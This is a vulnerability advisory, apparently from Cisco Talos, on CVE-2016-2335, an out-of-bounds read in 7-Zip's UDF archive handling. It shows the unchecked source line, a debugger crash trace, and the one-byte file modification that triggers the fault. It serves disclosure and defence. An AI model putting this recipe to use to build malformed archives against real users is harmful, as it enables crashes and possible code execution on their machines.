CVE-2016-2335
An out of bound read vulnerability exists in the CInArchive::ReadFileItem method functionality of 7zip for handling UDF files that can lead to denial of service or code execution.
7-Zip [32] 15.05 beta 7-Zip [64] 9.20
http://www.7-zip.org/
CInArchive::ReadFileItem method to achieve proper information about file/directory location on particular partition use inter alia the following information: Partition Map and Long Allocation Descriptor [2.3.10.1 Long Allocation Descriptor]. Because volumes can have more than one partition map their objects are keep in object vector. To start looking for item, method tries to achieve proper partition object using to this mentioned partition maps object vector and “PartitionRef” field from Long Allocation Descriptor. Lack of checking whether “PartitionRef” field is bigger than available amount of partition map objects cause read out of bounds and can lead in some circumstances to arbitrary code execution.
Vulnerable code:
CPP\7zip\Archive\Udf\UdfIn.cpp
Line 898 FOR_VECTOR (fsIndex, vol.FileSets)
Line 899 {
Line 900 CFileSet &fs = vol.FileSets[fsIndex];
Line 901 unsigned fileIndex = Files.Size();
Line 902 Files.AddNew();
Line 903 RINOK(ReadFileItem(volIndex, fsIndex, fs.RootDirICB, kNumRecursionLevelsMax));
Line 904 RINOK(FillRefs(fs, fileIndex, -1, kNumRecursionLevelsMax));
Line 905 }
........
Line 384 HRESULT CInArchive::ReadFileItem(int volIndex, int fsIndex, const CLongAllocDesc &lad, int numRecurseAllowed)
Line 385 {
Line 386 if (Files.Size() % 100 == 0)
Line 387 RINOK(_progress->SetCompleted(Files.Size(), _processedProgressBytes));
Line 388 if (numRecurseAllowed-- == 0)
Line 389 return S_FALSE;
Line 390 CFile &file = Files.Back();
Line 391 const CLogVol &vol = LogVols[volIndex];
Line 392 CPartition &partition = Partitions[vol.PartitionMaps[lad.Location.PartitionRef].PartitionIndex];
Vulnerability can be triggered for any entry contains malformed long allocation descriptor but in this example we will focus on File set RootDirICB [2.3.2 File Set Descriptor].
As you can see in above code in lines 898-905 search for elements on particular volume and file set starts based on RootDirICB Long Allocation Descriptor and that record we will try to malformed for our purpose. Vulnerability appears in line 392 when PartitionRef field exceed number of elements in ParitionMaps vector. Let we check how many PartitionMaps contains our PoC:
0:000> .restart /f
Symbol search path is: symsrv*symsrv.dll*d:\localsymbols*http://msdl.microsoft.com/download/symbols
Executable search path is:
ModLoad: 01270000 012e5000 7z.exe
Page heap: pid 0x29A0: page heap enabled with flags 0x3.
Page heap: pid 0x29A0: page heap enabled with flags 0x3.
(29a0.720): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=fa8d0000 edx=0025e198 esi=fffffffe edi=00000000
eip=77c412fb esp=0019f91c ebp=0019f948 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!LdrpDoDebuggerBreak+0x2c:
77c412fb cc int 3
0:000> g
Breakpoint 114 hit
eax=07c1ef58 ebx=00000000 ecx=07c24ff8 edx=00000000 esi=00000000 edi=0019f17c
eip=69ccaa81 esp=0019d73c ebp=0019d7b0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
> 392: CPartition &partition = Partitions[vol.PartitionMaps[lad.Location.PartitionRef].PartitionIndex];
7z_69bf0000!NArchive::NUdf::CInArchive::ReadFileItem+0xa1:
69ccaa81 8b4510 mov eax,dword ptr [ebp+10h] ss:002b:0019d7c0=e44fad07
0:000> dv /t vol
struct NArchive::NUdf::CLogVol * vol = 0x07c1ef58
0:000> dt /b NArchive::NUdf::CLogVol poi(vol)
(...)
+0x090 PartitionMaps : CObjectVector<NArchive::NUdf::CPartitionMap>
+0x000 _v : CRecordVector<void *>
+0x000 _items : 0x07c20ff8
+0x004 _size : 1
+0x008 _capacity : 1
As we can see there is 1 Partition map where our PartitionRef field is equal: 0:000> dv /t lad struct NArchive::NUdf::CLongAllocDesc * lad = 0x07ad4fe4 0:000> dt /b NArchive::NUdf::CLongAllocDesc poi(lad) 7z_69bf0000!NArchive::NUdf::CLongAllocDesc +0x000 Len : 0x800 +0x004 Location : NArchive::NUdf::CLogBlockAddr +0x000 Pos : 2 +0x004 PartitionRef : 0xff
Vulnerability is obvious, let’s see how it manifests:
0:000> g
(29a0.720): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled.
eax=07c213f4 ebx=00000000 ecx=07c20ff8 edx=000000ff esi=00000000 edi=0019f17c
eip=69cc38f8 esp=0019d6e0 ebp=0019d730 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
> 450: const T& operator[](unsigned index) const { return *((T *)_v[index]); }
7z_69bf0000!CObjectVector<NArchive::NTar::CItemEx>::operator[]+0x18:
69cc38f8 8b00 mov eax,dword ptr [eax] ds:002b:07c213f4=????????
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
7z_69bf0000!CObjectVector<NArchive::NTar::CItemEx>::operator[]+18
69cc38f8 8b00 mov eax,dword ptr [eax]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 69cc38f8 (7z_69bf0000!CObjectVector<NArchive::NTar::CItemEx>::operator[]+0x00000018)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 07c213f4
Attempt to read from address 07c213f4
FAULTING_THREAD: 00000720
PROCESS_NAME: 7z.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - Instrukcja spod 0x%08lx odwo
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - Instrukcja spod 0x%08lx odwo
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 07c213f4
READ_ADDRESS: 07c213f4
FOLLOWUP_IP:
7z_69bf0000!CObjectVector<NArchive::NTar::CItemEx>::operator[]+18
69cc38f8 8b00 mov eax,dword ptr [eax]
DETOURED_IMAGE: 1
NTGLOBALFLAG: 2000000
APPLICATION_VERIFIER_FLAGS: 0
APP: 7z.exe
BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ_AFTER_CALL
PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ_AFTER_CALL
DEFAULT_BUCKET_ID: INVALID_POINTER_READ_AFTER_CALL
LAST_CONTROL_TRANSFER: from 69ccaa97 to 69cc38f8
STACK_TEXT:
0019d730 69ccaa97 000000ff 0019f17c 00000000 7z_69bf0000!CObjectVector<NArchive::NTar::CItemEx>::operator[]+0x18 [7z1505-
src\cpp\common\myvector.h @ 450]
0019d7b0 69cc9d3a 00000000 00000000 07ad4fe4 7z_69bf0000!NArchive::NUdf::CInArchive::ReadFileItem+0xb7 [7z1505-
src\cpp\7zip\archive\udf\udfin.cpp @ 392]
0019e288 69cca215 0019f17c 0019ec1c 00000000 7z_69bf0000!NArchive::NUdf::CInArchive::Open2+0xcba [7z1505-
src\cpp\7zip\archive\udf\udfin.cpp @ 903]
0019e2e4 69cc73f3 07b4efa8 0019e37c 0019f17c 7z_69bf0000!NArchive::NUdf::CInArchive::Open+0x25 [7z1505-
src\cpp\7zip\archive\udf\udfin.cpp @ 975]
0019e3a4 012acf95 07021f68 07b4efa8 0019e950 7z_69bf0000!NArchive::NUdf::CHandler::Open+0x63 [7z1505-
src\cpp\7zip\archive\udf\udfhandler.cpp @ 149]
0019ea58 012b1690 0019f154 0019f17c 0019ec1c 7z!CArc::OpenStream2+0xdb5 [7z1505-src\cpp\7zip\ui\common\openarchive.cpp @
1820]
0019eb4c 012b1ba6 0019f154 0019f17c 0019ec1c 7z!CArc::OpenStream+0x30 [7z1505-src\cpp\7zip\ui\common\openarchive.cpp @
2829]
0019ebe0 012ab7e9 0019f154 00000000 00000001 7z!CArc::OpenStreamOrFile+0x166 [7z1505-
src\cpp\7zip\ui\common\openarchive.cpp @ 2921]
0019ef20 012ab4b8 0019f154 00000000 00000001 7z!CArchiveLink::Open+0x179 [7z1505-src\cpp\7zip\ui\common\openarchive.cpp @
3097]
0019efd8 012ab63c 0019f154 06bf9ea8 00000000 7z!CArchiveLink::Open2+0x148 [7z1505-src\cpp\7zip\ui\common\openarchive.cpp @
3220]
0019f040 0129ffec 0019f154 06bf9ea8 00000000 7z!CArchiveLink::Open3+0x1c [7z1505-src\cpp\7zip\ui\common\openarchive.cpp @
3284]
0019f2e4 012ca3fd 0019f9b8 0019f938 0019f92c 7z!Extract+0x48c [7z1505-src\cpp\7zip\ui\common\extract.cpp @ 362]
0019fc84 012cc0be 00000000 00000001 00000000 7z!Main2+0x14cd [7z1505-src\cpp\7zip\ui\console\main.cpp @ 881]
0019fd5c 012cfe33 00000003 06bf5f80 06e75f18 7z!main+0x7e [7z1505-src\cpp\7zip\ui\console\mainar.cpp @ 70]
0019fd9c 75d6337a fffde000 0019fde8 77bd92e2 7z!__tmainCRTStartup+0xfd [f:\dd\vctools\crt\crtw32\dllstuff\crtexe.c @ 626]
0019fda8 77bd92e2 fffde000 56a1b6fd 00000000 kernel32!BaseThreadInitThunk+0xe
0019fde8 77bd92b5 012cfe9b fffde000 00000000 ntdll!__RtlUserThreadStart+0x70
0019fe00 00000000 012cfe9b fffde000 00000000 ntdll!_RtlUserThreadStart+0x1b
FAULTING_SOURCE_LINE_NUMBER: 450
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: 7z!CObjectVector<NArchive::NTar::CItemEx>::operator[]+18
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: 7z_69bf0000
IMAGE_NAME: 7z.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 559185fe
STACK_COMMAND: ~0s ; kb
FAILURE_BUCKET_ID: INVALID_POINTER_READ_AFTER_CALL_c0000005_7z.dll!CObjectVector_NArchive::NTar::CItemEx_::operator[]
BUCKET_ID:
APPLICATION_FAULT_INVALID_POINTER_READ_AFTER_CALL_DETOURED_7z!CObjectVector_NArchive::NTar::CItemEx_::operator[]+18
WATSON_STAGEONE_URL:
http://watson.microsoft.com/StageOne/7z_exe/15_5_0_0/5591858b/7z_dll/15_5_0_0/559185fe/c0000005/000d38f8.htm?Retriage=1
Followup: MachineOwner
---------
At the end, let us see how FileSet RootDirICB entry has been modified.
Original file:
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00080990 00 08 00 00 02 00 00 00 00 00 00 00 00 00 00 00 ................
000809A0 00 2A 4F 53 54 41 20 55 44 46 20 43 6F 6D 70 6C .*OSTA UDF Compl
000809B0 69 61 6E 74 00 00 00 00 02 01 03 00 00 00 00 00 iant............
Malformed file:
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00080990 00 08 00 00 02 00 00 00 FF 00 00 00 00 00 00 00 ........˙.......
000809A0 00 2A 4F 53 54 41 20 55 44 46 20 43 6F 6D 70 6C .*OSTA UDF Compl
000809B0 69 61 6E 74 00 00 00 00 02 01 03 00 00 00 00 00 iant............
As you can see at offset 00080990 + 8, 0x00 changed to 0xff which we could observe during bug analysis as a value of PartitionRef.
2016-03-03 - Vendor Notification
2016-05-10 - Public Disclosure
Discovered by Marcin ‘Icewall’ Noga of Cisco Talos